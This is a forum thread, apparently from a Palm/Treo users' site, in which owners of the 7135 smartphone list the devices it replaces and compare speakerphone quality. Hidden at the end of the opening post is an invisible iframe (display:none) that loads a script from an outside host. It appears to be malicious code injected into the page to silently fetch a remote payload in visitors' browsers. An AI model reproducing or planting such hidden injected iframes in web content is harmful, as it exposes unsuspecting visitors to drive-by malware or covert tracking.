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    How many things does your 7135 replace?

    I have had my 7135 for almost 4 months now and have gradually become more and more dependent on it. Just thought we could share what "tools" this single device has replaced in our everyday lives. Here's my list so far:

    1) Cell phone (of course!)
    2) mp3 player
    3) personal home theater (okay, maybe a slight exaggeration, but not bad with Kinoma's latest offering, I have watched a few Seinfelds, home movies, real movies)
    4) schedule book (schedule/time manager)
    5) voice recorder (voice memos)
    6) yellow sticky notes (memos)
    7) dictionary (pocketLingo)
    bible (Bible w/ you)
    9) laptop (well, at least for on the road email (snappermail))
    10) flashlight (yes, I actually used it a lot while taking kids temperatures at night)
    11) calculator
    12) address book
    13) world time/weather/conversions (worldmate)
    14) remote control (prontoLite)
    15) photo album (acidimage/jpegwatch)
    16) gameboy (Galaxian, tetris, etc)
    17) web browser (Blazer)
    1 pen (I never have to carry an extra pen anymore, thanks to mod to EBCases 6035 pen/stylus that fits in phone, as posted by others on this forum)
    19) remote terminal (I am checking out "I'm in touch" at www.01com.com, which allows remote access to your PC files, email, contacts, etc from any web browser, including Blazer)
    20) speakerphone (the great quality of sound from this phone, and good Verizon signal has allowed me to replace my office phone completely! I even use this speakerphone when clients are here and we need to conf call back to their office)

    The greatest thing about all of these functions being in the cell phone is that not only do I NOT have to carry all the extra stuff, but I ALWAYS have ALL of these tools with me in my pocket, so they are available even when I don't plan ahead to use them. Well, there's my list. Would be interesting to see other people's lists are.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    Re: How many things does your 7135 replace?

    Whoa... You have lots of time on your hands homie...

    Anyway, same here....

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    Re: How many things does your 7135 replace?

    I find the speakerphone on mine very tinny and pretty much unusable.... comments?
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    20) speakerphone (the great quality of sound from this phone, and good Verizon signal has allowed me to replace my office phone completely! I even use this speakerphone when clients are here and we need to conf call back to their office)

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    PALMA SUTRA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

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    Re: Re: How many things does your 7135 replace?

    Originally posted by mdlampert
    I find the speakerphone on mine very tinny and pretty much unusable.... comments?
    I don't use my speakerphone all that often, but when I do it sounds good on my end... and I have tested it with others who have a 7135 and could hardly tell that they were talking to me on speaker from their end
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    My speakerphone also sounds nice and solid....

    Other things:
    Keeper of Lists (shopping, gift, project, etc.)
    Sketch pad
    Restaurant guide
    Starchart

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    Mine sounds good. Not like a Nextel but it's near the ear and I can use it on a regular call...

    But, isn't this a DUPLEX speakerphone? I think it is because Nextel's wasn't and it sucked for that...

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    Originally posted by RUYORK
    But, isn't this a DUPLEX speakerphone? I think it is because Nextel's wasn't and it sucked for that...
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    Mine replaces:

    My 6035
    myriad post its
    portable CD player
    need to take my laptop places
    lost brain cells
    flashlight
    pocket protector
    photos in my wallet
    phone calls to theaters
    weathermen
    watch
    shopping lists
    mileage book for car
    magazines in the dentist office
    boredom in general
    probably more but I have to check with the 7135 to see what I forgot
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    I'm an x-treo user and So glad to have switched. I am amazed at all the stuff this thing can do, but, kada, you watch movies on it? I gotta check that out. I tried to use my treo as a tv remote... It worked great as long as I was an arm's length from the tv!

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    Originally posted by Robert K.
    Yep!
    It makes a big difference!!!

    That's probably why it isn't as loud as the Nextel one's...

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    Originally posted by RUYORK
    It makes a big difference!!!

    That's probably why it isn't as loud as the Nextel one's...
    One thing to keep in mind is that the sound is coming from the back of the top part of the 7135... so it's not as loud if the screen is facing towards you, since the speaker is facing away from you.
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    Hey... has anybody said alarm clock yet? (I glanced again quickly and didn't see it). I use mine as an alarm clock, not only for the alarm part... but laying next to me on the nightstand with it charging with the top display lit up to show me the time in the dark
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    It has replaced everything including my brain.

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    Originally posted by Robert K.
    One thing to keep in mind is that the sound is coming from the back of the top part of the 7135... so it's not as loud if the screen is facing towards you, since the speaker is facing away from you.
    Yep

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    Originally posted by Robert K.
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    what softare are you using?

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    verichat! :UpThum

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    Thank you marctronixx!

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